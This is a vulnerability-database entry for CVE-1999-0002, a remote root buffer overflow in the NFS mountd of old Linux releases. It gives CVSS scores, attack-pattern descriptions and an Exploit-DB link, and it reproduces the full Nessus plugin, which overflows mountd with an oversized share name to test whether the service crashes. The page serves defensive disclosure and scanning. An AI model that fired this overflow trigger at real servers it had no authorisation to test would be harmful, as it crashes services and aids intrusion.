Vulnerabilities > CVE-1999-0002 - Improper Restriction of Operations Within the Bounds of A Memory Buffer vulnerability in multiple products

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
bsdi
caldera
redhat
CWE-119
critical
nessus
exploit available
NVD
Published: 1998-10-12
Updated: 2009-01-26

Summary

Buffer overflow in NFS mountd gives root access to remote attackers, mostly in Linux systems.

Vulnerable Configurations

Part Description Count
OS
Bsdi
1
OS
Caldera
1
OS
Redhat
8

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Exploit-Db

descriptionRedHat Linux 5.1,Caldera OpenLinux Standard 1.2 Mountd Vulnerability. CVE-1999-0002. Remote exploit for linux platform
idEDB-ID:19096
last seen2016-02-02
modified1998-08-28
published1998-08-28
reporterLucySoft
sourcehttps://www.exploit-db.com/download/19096/
titleRedHat Linux <= 5.1 & Caldera OpenLinux Standard 1.2 - Mountd Vulnerability

Nessus

NASL familyGain a shell remotely
NASL idMOUNTD_OVERFLOW.NASL
descriptionThe remote mount daemon seems to have a buffer overflow vulnerability. A remote attacker could exploit this to execute arbitrary code as root.
last seen2020-06-01
modified2020-06-02
plugin id11337
published2003-03-12
reporterThis script is Copyright (C) 2003-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/11337
titleMultiple Linux rpc.mountd Remote Overflow
code

#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if (description)
{
 script_id(11337);
 script_version("1.18");
 script_cvs_date("Date: 2018/07/16 14:09:13");
 script_cve_id("CVE-1999-0002");
 script_bugtraq_id(121);
 script_xref(name:"CERT-CC", value:"CA-1998-12");

 script_name(english:"Multiple Linux rpc.mountd Remote Overflow");
 script_summary(english:"Overflows mountd");

 script_set_attribute(
   attribute:"synopsis",
   value:"The remote service has a buffer overflow vulnerability."
 );
 script_set_attribute(attribute:"description",  value:
"The remote mount daemon seems to have a buffer overflow
vulnerability.  A remote attacker could exploit this to
execute arbitrary code as root." );
 script_set_attribute(
   attribute:"solution",
   value:"Consult your vendor for patch or upgrade information."
 );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_cwe_id(119);

 script_set_attribute(attribute:"vuln_publication_date", value:"1998/10/12");
 script_set_attribute(attribute:"plugin_publication_date", value:"2003/03/12");

 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_DESTRUCTIVE_ATTACK);
 script_family(english:"Gain a shell remotely");

 script_copyright(english:"This script is Copyright (C) 2003-2018 Tenable Network Security, Inc.");

 script_dependencie("rpc_portmap.nasl");
 script_require_keys("rpc/portmap");
 exit(0);
}



include("misc_func.inc");
include("nfs_func.inc");
include("sunrpc_func.inc");


function naughty_mount(soc, share)
{
  local_var pad, req, len, r, ret, i;

  pad = padsz(len:strlen(this_host_name()));
  len = 52 + strlen(this_host_name()) + pad;

  req = 	   rpclong(val:rand()) +
  		   rpclong(val:0) +
		   rpclong(val:2) +
		   rpclong(val:100005) +
		   rpclong(val:1) +
		   rpclong(val:1) +
		   rpclong(val:1) +
		   rpclong(val:len) +
		   rpclong(val:rand()) +
		   rpclong(val:strlen(this_host_name())) +
		   this_host_name() +
		   rpcpad(pad:pad) +
		   rpclong(val:0)  +
		   rpclong(val:0)  +
		   rpclong(val:7)  +
		   rpclong(val:0)  +
		   rpclong(val:2)  +
		   rpclong(val:3)  +
		   rpclong(val:4)  +
		   rpclong(val:5)  +
		   rpclong(val:20) +
		   rpclong(val:31) +
		   rpclong(val:0)  +
		   rpclong(val:0)  +
		   rpclong(val:0)  +

		   rpclong(val:strlen(share)) +
		   share +
		   rpcpad(pad:padsz(len:strlen(share)));

  send(socket:soc, data:req);
  r = recv(socket:soc, length:4096);
  if(!r) return 0;
  else return 1;
}

port = get_rpc_port2(program:100005, protocol:IPPROTO_UDP);
if ( ! port ) exit(0);
if (! get_udp_port_state(port)) exit(0, "UDP port "+port+" is not open.");

soc = open_priv_sock_udp(dport:port);
if(!soc)exit(0);

if(naughty_mount(soc:soc, share:"/nessus") != 0)
{
 naughty_mount(soc:soc, share:"/" + crap(4096));
 sleep(1);
 if(naughty_mount(soc:soc, share:"/nessus") == 0)
  security_hole(port:port, proto:"udp");
}

References